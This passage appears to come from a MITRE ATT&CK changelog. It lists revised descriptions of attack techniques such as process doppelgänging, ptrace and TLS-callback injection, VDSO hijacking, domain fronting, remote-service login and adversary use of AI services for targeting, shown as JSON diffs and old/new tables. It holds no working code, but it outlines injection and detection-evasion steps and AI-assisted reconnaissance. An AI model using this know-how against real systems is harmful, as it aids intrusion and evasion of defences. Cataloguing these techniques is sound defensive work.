highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext.(Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n \\n-Process Doppelg\\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017):\\n+Process Doppelg\\u00e4nging is implemented in 4 steps:\\n \\n * Transact \\u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\\n * Load \\u2013 Create a shared section of memory and load the malicious executable.\"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into process via proce | t | 1 | Adversaries may inject malicious code into a process via pro |
| > | ss doppelg\u00e4nging in order to evade process-based defenses as | > | cess doppelg\u00e4nging in order to evade process-based defenses | ||
| > | well as possibly elevate privileges. Process doppelg\u00e4nging | > | as well as possibly elevate privileges. Process doppelg\u00e4ngin | ||
| > | is a method of executing arbitrary code in the address space | > | g is a method of executing arbitrary code in the address spa | ||
| > | of a separate live process. Windows Transactional NTFS (T | > | ce of a separate live process. Windows Transactional NTFS | ||
| > | xF) was introduced in Vista as a method to perform safe file | > | (TxF) was introduced in Vista as a method to perform safe fi | ||
| > | operations. (Citation: Microsoft TxF) To ensure data integr | > | le operations.(Citation: Microsoft TxF) To ensure data integ | ||
| > | ity, TxF enables only one transacted handle to write to a fi | > | rity, TxF enables only one transacted handle to write to a f | ||
| > | le at a given time. Until the write handle transaction is te | > | ile at a given time. Until the write handle transaction is t | ||
| > | rminated, all other handles are isolated from the writer and | > | erminated, all other handles are isolated from the writer an | ||
| > | may only read the committed version of the file that existe | > | d may only read the committed version of the file that exist | ||
| > | d at the time the handle was opened. (Citation: Microsoft Ba | > | ed at the time the handle was opened.(Citation: Microsoft Ba | ||
| > | sic TxF Concepts) To avoid corruption, TxF performs an autom | > | sic TxF Concepts) To avoid corruption, TxF performs an autom | ||
| > | atic rollback if the system or application fails during a wr | > | atic rollback if the system or application fails during a wr | ||
| > | ite transaction. (Citation: Microsoft Where to use TxF) Alt | > | ite transaction.(Citation: Microsoft Where to use TxF) Alth | ||
| > | hough deprecated, the TxF application programming interface | > | ough deprecated, the TxF application programming interface ( | ||
| > | (API) is still enabled as of Windows 10. (Citation: BlackHat | > | API) is still enabled as of Windows 10.(Citation: BlackHat P | ||
| > | Process Doppelg\u00e4nging Dec 2017) Adversaries may abuse TxF | > | rocess Doppelg\u00e4nging Dec 2017) Adversaries may abuse TxF to | ||
| > | to a perform a file-less variation of [Process Injection](ht | > | a perform a file-less variation of [Process Injection](http | ||
| > | tps://attack.mitre.org/techniques/T1055). Similar to [Proces | > | s://attack.mitre.org/techniques/T1055). Similar to [Process | ||
| > | s Hollowing](https://attack.mitre.org/techniques/T1055/012), | > | Hollowing](https://attack.mitre.org/techniques/T1055/012), p | ||
| > | process doppelg\u00e4nging involves replacing the memory of a le | > | rocess doppelg\u00e4nging involves replacing the memory of a legi | ||
| > | gitimate process, enabling the veiled execution of malicious | > | timate process, enabling the veiled execution of malicious c | ||
| > | code that may evade defenses and detection. Process doppelg | > | ode that may evade defenses and detection. Process doppelg\u00e4n | ||
| > | \u00e4nging's use of TxF also avoids the use of highly-monitored | > | ging's use of TxF also avoids the use of highly-monitored AP | ||
| > | API functions such as <code>NtUnmapViewOfSection</code>, <co | > | I functions such as <code>NtUnmapViewOfSection</code>, <code | ||
| > | de>VirtualProtectEx</code>, and <code>SetThreadContext</code | > | >VirtualProtectEx</code>, and <code>SetThreadContext</code>. | ||
| > | >. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Proc | > | (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Process | ||
| > | ess Doppelg\u00e4nging is implemented in 4 steps (Citation: Black | > | Doppelg\u00e4nging is implemented in 4 steps: * Transact \u2013 Crea | ||
| > | Hat Process Doppelg\u00e4nging Dec 2017): * Transact \u2013 Create a | > | te a TxF transaction using a legitimate executable then over | ||
| > | TxF transaction using a legitimate executable then overwrite | > | write the file with malicious code. These changes will be is | ||
| > | the file with malicious code. These changes will be isolate | > | olated and only visible within the context of the transactio | ||
| > | d and only visible within the context of the transaction. * | > | n. * Load \u2013 Create a shared section of memory and load the m | ||
| > | Load \u2013 Create a shared section of memory and load the malici | > | alicious executable. * Rollback \u2013 Undo changes to original e | ||
| > | ous executable. * Rollback \u2013 Undo changes to original execut | > | xecutable, effectively removing malicious code from the file | ||
| > | able, effectively removing malicious code from the file syst | > | system. * Animate \u2013 Create a process from the tainted secti | ||
| > | em. * Animate \u2013 Create a process from the tainted section of | > | on of memory and initiate execution. This behavior will lik | ||
| > | memory and initiate execution. This behavior will likely n | > | ely not result in elevated privileges since the injected pro | ||
| > | ot result in elevated privileges since the injected process | > | cess was spawned from (and thus inherits the security contex | ||
| > | was spawned from (and thus inherits the security context) of | > | t) of the injecting process. However, execution via process | ||
| > | the injecting process. However, execution via process doppe | > | doppelg\u00e4nging may evade detection from security products sin | ||
| > | lg\u00e4nging may evade detection from security products since th | > | ce the execution is masked under a legitimate process. | ||
| > | e execution is masked under a legitimate process. |
malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction).(Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/008",
"external_id": "T1055.008"
},
{
"source_name": "BH Linux Inject",
"description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.",
"url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf"
},
{
"source_name": "Medium Ptrace JUL 2018",
"description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.",
"url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be"
},
{
"source_name": "PTRACE man",
"description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020.",
"url": "http://man7.org/linux/man-pages/man2/ptrace.2.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:18:37.552000+00:00\", \"old_value\": \"2026-05-12 15:12:00.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\\u2019 memory (ex: the current address of the next instruction).(Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \\n\\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"old_value\": \"Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \\n\\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \\n \\n-Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \\n+Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\\u2019 memory (ex: the current address of the next instruction).(Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \\n \\n Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \\n \"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into processes via ptr | t | 1 | Adversaries may inject malicious code into processes via ptr |
| > | ace (process trace) system calls in order to evade process-b | > | ace (process trace) system calls in order to evade process-b | ||
| > | ased defenses as well as possibly elevate privileges. Ptrace | > | ased defenses as well as possibly elevate privileges. Ptrace | ||
| > | system call injection is a method of executing arbitrary co | > | system call injection is a method of executing arbitrary co | ||
| > | de in the address space of a separate live process. Ptrace | > | de in the address space of a separate live process. Ptrace | ||
| > | system call injection involves attaching to and modifying a | > | system call injection involves attaching to and modifying a | ||
| > | running process. The ptrace system call enables a debugging | > | running process. The ptrace system call enables a debugging | ||
| > | process to observe and control another process (and each in | > | process to observe and control another process (and each in | ||
| > | dividual thread), including changing memory and register val | > | dividual thread), including changing memory and register val | ||
| > | ues.(Citation: PTRACE man) Ptrace system call injection is c | > | ues.(Citation: PTRACE man) Ptrace system call injection is c | ||
| > | ommonly performed by writing arbitrary code into a running p | > | ommonly performed by writing arbitrary code into a running p | ||
| > | rocess (ex: <code>malloc</code>) then invoking that memory w | > | rocess (ex: <code>malloc</code>) then invoking that memory w | ||
| > | ith <code>PTRACE_SETREGS</code> to set the register containi | > | ith <code>PTRACE_SETREGS</code> to set the register containi | ||
| > | ng the next instruction to execute. Ptrace system call injec | > | ng the next instruction to execute. Ptrace system call injec | ||
| > | tion can also be done with <code>PTRACE_POKETEXT</code>/<cod | > | tion can also be done with <code>PTRACE_POKETEXT</code>/<cod | ||
| > | e>PTRACE_POKEDATA</code>, which copy data to a specific addr | > | e>PTRACE_POKEDATA</code>, which copy data to a specific addr | ||
| > | ess in the target processes\u2019 memory (ex: the current address | > | ess in the target processes\u2019 memory (ex: the current address | ||
| > | of the next instruction). (Citation: PTRACE man)(Citation: | > | of the next instruction).(Citation: PTRACE man)(Citation: M | ||
| > | Medium Ptrace JUL 2018) Ptrace system call injection may n | > | edium Ptrace JUL 2018) Ptrace system call injection may no | ||
| > | ot be possible targeting processes that are non-child proces | > | t be possible targeting processes that are non-child process | ||
| > | ses and/or have higher-privileges.(Citation: BH Linux Inject | > | es and/or have higher-privileges.(Citation: BH Linux Inject) | ||
| > | ) Running code in the context of another process may allow | > | Running code in the context of another process may allow | ||
| > | access to the process's memory, system/network resources, a | > | access to the process's memory, system/network resources, an | ||
| > | nd possibly elevated privileges. Execution via ptrace system | > | d possibly elevated privileges. Execution via ptrace system | ||
| > | call injection may also evade detection from security produ | > | call injection may also evade detection from security produc | ||
| > | cts since the execution is masked under a legitimate process | > | ts since the execution is masked under a legitimate process. | ||
| > | . | > |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into processes via thr | t | 1 | Adversaries may inject malicious code into processes via thr |
| > | ead local storage (TLS) callbacks in order to evade process- | > | ead local storage (TLS) callbacks in order to evade process- | ||
| > | based defenses as well as possibly elevate privileges. TLS c | > | based defenses as well as possibly elevate privileges. TLS c | ||
| > | allback injection is a method of executing arbitrary code in | > | allback injection is a method of executing arbitrary code in | ||
| > | the address space of a separate live process. TLS callbac | > | the address space of a separate live process. TLS callbac | ||
| > | k injection involves manipulating pointers inside a portable | > | k injection involves manipulating pointers inside a portable | ||
| > | executable (PE) to redirect a process to malicious code bef | > | executable (PE) to redirect a process to malicious code bef | ||
| > | ore reaching the code's legitimate entry point. TLS callback | > | ore reaching the code's legitimate entry point. TLS callback | ||
| > | s are normally used by the OS to setup and/or cleanup data u | > | s are normally used by the OS to set up and/or clean up data | ||
| > | sed by threads. Manipulating TLS callbacks may be performed | > | used by threads. Manipulating TLS callbacks may be performe | ||
| > | by allocating and writing to specific offsets within a proce | > | d by allocating and writing to specific offsets within a pro | ||
| > | ss\u2019 memory space using other [Process Injection](https://att | > | cess\u2019 memory space using other [Process Injection](https://a | ||
| > | ack.mitre.org/techniques/T1055) techniques such as [Process | > | ttack.mitre.org/techniques/T1055) techniques such as [Proces | ||
| > | Hollowing](https://attack.mitre.org/techniques/T1055/012).(C | > | s Hollowing](https://attack.mitre.org/techniques/T1055/012). | ||
| > | itation: FireEye TLS Nov 2017) Running code in the context | > | (Citation: FireEye TLS Nov 2017) Running code in the contex | ||
| > | of another process may allow access to the process's memory, | > | t of another process may allow access to the process's memor | ||
| > | system/network resources, and possibly elevated privileges. | > | y, system/network resources, and possibly elevated privilege | ||
| > | Execution via TLS callback injection may also evade detecti | > | s. Execution via TLS callback injection may also evade detec | ||
| > | on from security products since the execution is masked unde | > | tion from security products since the execution is masked un | ||
| > | r a legitimate process. | > | der a legitimate process. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into processes via VDS | t | 1 | Adversaries may inject malicious code into processes via VDS |
| > | O hijacking in order to evade process-based defenses as well | > | O hijacking in order to evade process-based defenses as well | ||
| > | as possibly elevate privileges. Virtual dynamic shared obje | > | as possibly elevate privileges. Virtual dynamic shared obje | ||
| > | ct (vdso) hijacking is a method of executing arbitrary code | > | ct (vdso) hijacking is a method of executing arbitrary code | ||
| > | in the address space of a separate live process. VDSO hija | > | in the address space of a separate live process. VDSO hija | ||
| > | cking involves redirecting calls to dynamically linked share | > | cking involves redirecting calls to dynamically linked share | ||
| > | d libraries. Memory protections may prevent writing executab | > | d libraries. Memory protections may prevent writing executab | ||
| > | le code to a process via [Ptrace System Calls](https://attac | > | le code to a process via [Ptrace System Calls](https://attac | ||
| > | k.mitre.org/techniques/T1055/008). However, an adversary may | > | k.mitre.org/techniques/T1055/008). However, an adversary may | ||
| > | hijack the syscall interface code stubs mapped into a proce | > | hijack the syscall interface code stubs mapped into a proce | ||
| > | ss from the vdso shared object to execute syscalls to open a | > | ss from the vdso shared object to execute syscalls to open a | ||
| > | nd map a malicious shared object. This code can then be invo | > | nd map a malicious shared object. This code can then be invo | ||
| > | ked by redirecting the execution flow of the process via pat | > | ked by redirecting the execution flow of the process via pat | ||
| > | ched memory address references stored in a process' global o | > | ched memory address references stored in a process' global o | ||
| > | ffset table (which store absolute addresses of mapped librar | > | ffset table (which stores absolute addresses of mapped libra | ||
| > | y functions).(Citation: ELF Injection May 2009)(Citation: Ba | > | ry functions).(Citation: ELF Injection May 2009)(Citation: B | ||
| > | cktrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 201 | > | acktrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 20 | ||
| > | 4) Running code in the context of another process may allow | > | 14) Running code in the context of another process may allo | ||
| > | access to the process's memory, system/network resources, a | > | w access to the process's memory, system/network resources, | ||
| > | nd possibly elevated privileges. Execution via VDSO hijackin | > | and possibly elevated privileges. Execution via VDSO hijacki | ||
| > | g may also evade detection from security products since the | > | ng may also evade detection from security products since the | ||
| > | execution is masked under a legitimate process. | > | execution is masked under a legitimate process. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may take advantage of routing schemes in Content | t | 1 | Adversaries may take advantage of routing schemes in Content |
| > | Delivery Networks (CDNs) and other services which host mult | > | Delivery Networks (CDNs) and other services which host mult | ||
| > | iple domains to obfuscate the intended destination of HTTPS | > | iple domains to obfuscate the intended destination of HTTPS | ||
| > | traffic or traffic tunneled through HTTPS. (Citation: Fifiel | > | traffic or traffic tunneled through HTTPS.(Citation: Fifield | ||
| > | d Blocking Resistent Communication through domain fronting 2 | > | Blocking Resistent Communication through domain fronting 20 | ||
| > | 015) Domain fronting involves using different domain names i | > | 15) Domain fronting involves using different domain names in | ||
| > | n the SNI field of the TLS header and the Host field of the | > | the SNI field of the TLS header and the Host field of the H | ||
| > | HTTP header. If both domains are served from the same CDN, t | > | TTP header. If both domains are served from the same CDN, th | ||
| > | hen the CDN may route to the address specified in the HTTP h | > | en the CDN may route to the address specified in the HTTP he | ||
| > | eader after unwrapping the TLS header. A variation of the th | > | ader after unwrapping the TLS header. A variation of the tec | ||
| > | e technique, \"domainless\" fronting, utilizes a SNI field tha | > | hnique, \"domainless\" fronting, utilizes a SNI field that is | ||
| > | t is left blank; this may allow the fronting to work even wh | > | left blank; this may allow the fronting to work even when th | ||
| > | en the CDN attempts to validate that the SNI and HTTP Host f | > | e CDN attempts to validate that the SNI and HTTP Host fields | ||
| > | ields match (if the blank SNI fields are ignored). For exam | > | match (if the blank SNI fields are ignored). For example, | ||
| > | ple, if domain-x and domain-y are customers of the same CDN, | > | if domain-x and domain-y are customers of the same CDN, it i | ||
| > | it is possible to place domain-x in the TLS header and doma | > | s possible to place domain-x in the TLS header and domain-y | ||
| > | in-y in the HTTP header. Traffic will appear to be going to | > | in the HTTP header. Traffic will appear to be going to domai | ||
| > | domain-x, however the CDN may route it to domain-y. | > | n-x; however, the CDN may route it to domain-y. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may query publicly accessible artificial intelli | t | 1 | Adversaries may query publicly accessible artificial intelli |
| > | gence (AI) services, such as large language models (LLMs), t | > | gence (AI) services, such as large language models (LLMs), t | ||
| > | o support targeting and operations. In addition to searching | > | o support targeting and operations. In addition to searching | ||
| > | websites or databases directly (i.e., [Search Open Websites | > | websites or databases directly (i.e., [Search Open Websites | ||
| > | /Domains](https://attack.mitre.org/techniques/T1593)), adver | > | /Domains](https://attack.mitre.org/techniques/T1593)), adver | ||
| > | saries may use AI services to synthesize, aggregate, and ana | > | saries may use AI services to synthesize, aggregate, and ana | ||
| > | lyze publicly available information at scale. This may inclu | > | lyze publicly available information at scale. This may inclu | ||
| > | de identifying individuals or organizations to target, resea | > | de identifying individuals or organizations to target, resea | ||
| > | rching organizational structures and personnel, identifying | > | rching organizational structures and personnel, identifying | ||
| > | technologies used by target organizations, researching busin | > | technologies used by target organizations, researching busin | ||
| > | ess relationships to develop plausible pretexts for [Social | > | ess relationships to develop plausible pretexts for [Social | ||
| > | Engineering](https://attack.mitre.org/techniques/T1684) appr | > | Engineering](https://attack.mitre.org/techniques/T1684) appr | ||
| > | oaches, identifying contact information for use in [Phishing | > | oaches, identifying contact information for use in [Phishing | ||
| > | ](https://attack.mitre.org/techniques/T1566) or [Phishing fo | > | ](https://attack.mitre.org/techniques/T1566) or [Phishing fo | ||
| > | r Information](https://attack.mitre.org/techniques/T1598), o | > | r Information](https://attack.mitre.org/techniques/T1598), o | ||
| > | r gathering derogatory or sensitive information about indivi | > | r gathering derogatory or sensitive information about indivi | ||
| > | duals that may be used for extortion or coercion.(Citation: | > | duals that may be used for extortion or coercion.(Citation: | ||
| > | MSFT-AI)(Citation: GTIG AI Threat Tracker) Information gath | > | MSFT-AI)(Citation: GTIG AI Threat Tracker) Information gath | ||
| > | ered through AI services may be leveraged for other behavior | > | ered through AI services may be leveraged for other behavior | ||
| > | s, such as establishing operational resources (i.e., [Genera | > | s, such as establishing operational resources (i.e., [Genera | ||
| > | te Content](https://attack.mitre.org/techniques/T1683) or [E | > | te Content](https://attack.mitre.org/techniques/T1683) or [E | ||
| > | stablish Accounts](https://attack.mitre.org/techniques/T1585 | > | stablish Accounts](https://attack.mitre.org/techniques/T1585 | ||
| > | ). For obtaining access to AI tools and services, see [Artif | > | )). For obtaining access to AI tools and services, see [Arti | ||
| > | icial Intelligence](https://attack.mitre.org/techniques/T158 | > | ficial Intelligence](https://attack.mitre.org/techniques/T15 | ||
| > | 8/007). | > | 88/007). |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may use legitimate desktop support software to | t | 1 | An adversary may use legitimate desktop support software to |
| > | establish an interactive command and control channel to targ | > | establish an interactive command and control channel to targ | ||
| > | et systems within networks. Desktop support software provide | > | et systems within networks. Desktop support software provide | ||
| > | s a graphical interface for remotely controlling another com | > | s a graphical interface for remotely controlling another com | ||
| > | puter, transmitting the display output, keyboard input, and | > | puter, transmitting the display output, keyboard input, and | ||
| > | mouse control between devices using various protocols. Deskt | > | mouse control between devices using various protocols. Deskt | ||
| > | op support software, such as `VNC`, `Team Viewer`, `AnyDesk` | > | op support software tools, such as `VNC`, `Team Viewer`, `An | ||
| > | , `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote | > | yDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other | ||
| > | monitoring and management (RMM) tools, are commonly used as | > | remote monitoring and management (RMM) tools, are commonly u | ||
| > | legitimate technical support software and may be allowed by | > | sed as legitimate technical support software and may be allo | ||
| > | application control within a target environment.(Citation: | > | wed by application control within a target environment.(Cita | ||
| > | Symantec Living off the Land)(Citation: CrowdStrike 2015 Glo | > | tion: Symantec Living off the Land)(Citation: CrowdStrike 20 | ||
| > | bal Threat Report)(Citation: CrySyS Blog TeamSpy) Remote | > | 15 Global Threat Report)(Citation: CrySyS Blog TeamSpy) R | ||
| > | access modules/features may also exist as part of otherwise | > | emote access modules/features may also exist as part of othe | ||
| > | existing software such as Zoom or Google Chrome\u2019s Remote Des | > | rwise existing software such as Zoom or Google Chrome\u2019s Remo | ||
| > | ktop.(Citation: Google Chrome Remote Desktop)(Citation: Chro | > | te Desktop.(Citation: Google Chrome Remote Desktop)(Citation | ||
| > | me Remote Desktop) | > | : Chrome Remote Desktop) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to log into a service that accepts remot | > | g/techniques/T1078) to log into a service that accepts remot | ||
| > | e connections, such as telnet, SSH, and VNC. The adversary m | > | e connections, such as telnet, SSH, and VNC. The adversary m | ||
| > | ay then perform actions as the logged-on user. In an enterp | > | ay then perform actions as the logged-on user. In an enterp | ||
| > | rise environment, servers and workstations can be organized | > | rise environment, servers and workstations can be organized | ||
| > | into domains. Domains provide centralized identity managemen | > | into domains. Domains provide centralized identity managemen | ||
| > | t, allowing users to login using one set of credentials acro | > | t, allowing users to log in using one set of credentials acr | ||
| > | ss the entire network. If an adversary is able to obtain a s | > | oss the entire network. If an adversary is able to obtain a | ||
| > | et of valid domain credentials, they could login to many dif | > | set of valid domain credentials, they could log in to many d | ||
| > | ferent machines using remote access protocols such as secure | > | ifferent machines using remote access protocols such as secu | ||
| > | shell (SSH) or remote desktop protocol (RDP).(Citation: SSH | > | re shell (SSH) or remote desktop protocol (RDP).(Citation: S | ||
| > | Secure Shell)(Citation: TechNet Remote Desktop Services) Th | > | SH Secure Shell)(Citation: TechNet Remote Desktop Services) | ||
| > | ey could also login to accessible SaaS or IaaS services, suc | > | They could also log in to accessible SaaS or IaaS services, | ||
| > | h as those that federate their identities to the domain, or | > | such as those that federate their identities to the domain, | ||
| > | management platforms for internal virtualization environment | > | or management platforms for internal virtualization environm | ||
| > | s such as VMware vCenter. Legitimate applications (such as | > | ents such as VMware vCenter. Legitimate applications (such | ||
| > | [Software Deployment Tools](https://attack.mitre.org/techni | > | as [Software Deployment Tools](https://attack.mitre.org/tec | ||
| > | ques/T1072) and other administrative programs) may utilize [ | > | hniques/T1072) and other administrative programs) may utiliz | ||
| > | Remote Services](https://attack.mitre.org/techniques/T1021) | > | e [Remote Services](https://attack.mitre.org/techniques/T102 | ||
| > | to access remote hosts. For example, Apple Remote Desktop (A | > | 1) to access remote hosts. For example, Apple Remote Desktop | ||
| > | RD) on macOS is native software used for remote management. | > | (ARD) on macOS is native software used for remote managemen | ||
| > | ARD leverages a blend of protocols, including [VNC](https:// | > | t. ARD leverages a blend of protocols, including [VNC](https | ||
| > | attack.mitre.org/techniques/T1021/005) to send the screen an | > | ://attack.mitre.org/techniques/T1021/005) to send the screen | ||
| > | d control buffers and [SSH](https://attack.mitre.org/techniq | > | and control buffers and [SSH](https://attack.mitre.org/tech | ||
| > | ues/T1021/004) for secure file transfer.(Citation: Remote Ma | > | niques/T1021/004) for secure file transfer.(Citation: Remote | ||
| > | nagement MDM macOS)(Citation: Kickstart Apple Remote Desktop | > | Management MDM macOS)(Citation: Kickstart Apple Remote Desk | ||
| > | commands)(Citation: Apple Remote Desktop Admin Guide 3.3) A | > | top commands)(Citation: Apple Remote Desktop Admin Guide 3.3 | ||
| > | dversaries can abuse applications such as ARD to gain remote | > | ) Adversaries can abuse applications such as ARD to gain rem | ||
| > | code execution and perform lateral movement. In versions of | > | ote code execution and perform lateral movement. In versions | ||
| > | macOS prior to 10.14, an adversary can escalate an SSH sess | > | of macOS prior to 10.14, an adversary can escalate an SSH s | ||
| > | ion to an ARD session which enables an adversary to accept T | > | ession to an ARD session which enables an adversary to accep | ||
| > | CC (Transparency, Consent, and Control) prompts without user | > | t TCC (Transparency, Consent, and Control) prompts without u | ||
| > | interaction and gain access to data.(Citation: FireEye 2019 | > | ser interaction and gain access to data.(Citation: FireEye 2 | ||
| > | Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation | > | 019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citat | ||
| > | : Kickstart Apple Remote Desktop commands) | > | ion: Kickstart Apple Remote Desktop commands) |
Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI.\n\nIn some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1021/007",
"external_id": "T1021.007"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS",
"Identity Provider",
"Office Suite",
"SaaS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:46:16.639000+00:00\", \"old_value\": \"2025-04-15 22:03:56.494000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \\n\\nMany enterprises federate centrally managed user identities to cloud services, allowing users to log in with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI.\\n\\nIn some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. \", \"old_value\": \"Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the 